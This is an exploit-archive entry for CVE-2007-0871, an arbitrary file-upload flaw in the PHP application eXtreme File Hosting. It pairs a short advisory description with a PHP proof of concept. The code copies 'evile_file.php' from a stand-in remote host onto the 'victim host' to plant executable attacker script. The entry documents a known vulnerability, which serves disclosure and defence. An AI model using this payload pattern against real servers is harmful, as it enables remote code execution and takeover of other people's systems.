eXtreme File Hosting - Arbitrary '.RAR' File Upload

Author: hamed bazargani
type: webapps
platform: php
port: 
date_added: 2007-02-09 
date_updated: 2013-11-14 
verified: 1 
codes: CVE-2007-0871;OSVDB-33181 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/22498/info

eXtreme File Hosting is prone to an arbitrary file-upload vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to upload and execute arbitrary PHP script code in the context of the affected webserver process. This may help the attacker compromise the application; other attacks are possible.

<?php
$file = 'http://sample.com/evile_file.php';
$newfile = 'evile_file.php';
if (!copy($file, $newfile)) {
   echo "failed to copy $file...\n";
}else{
   echo "OK file copy in victim host";
}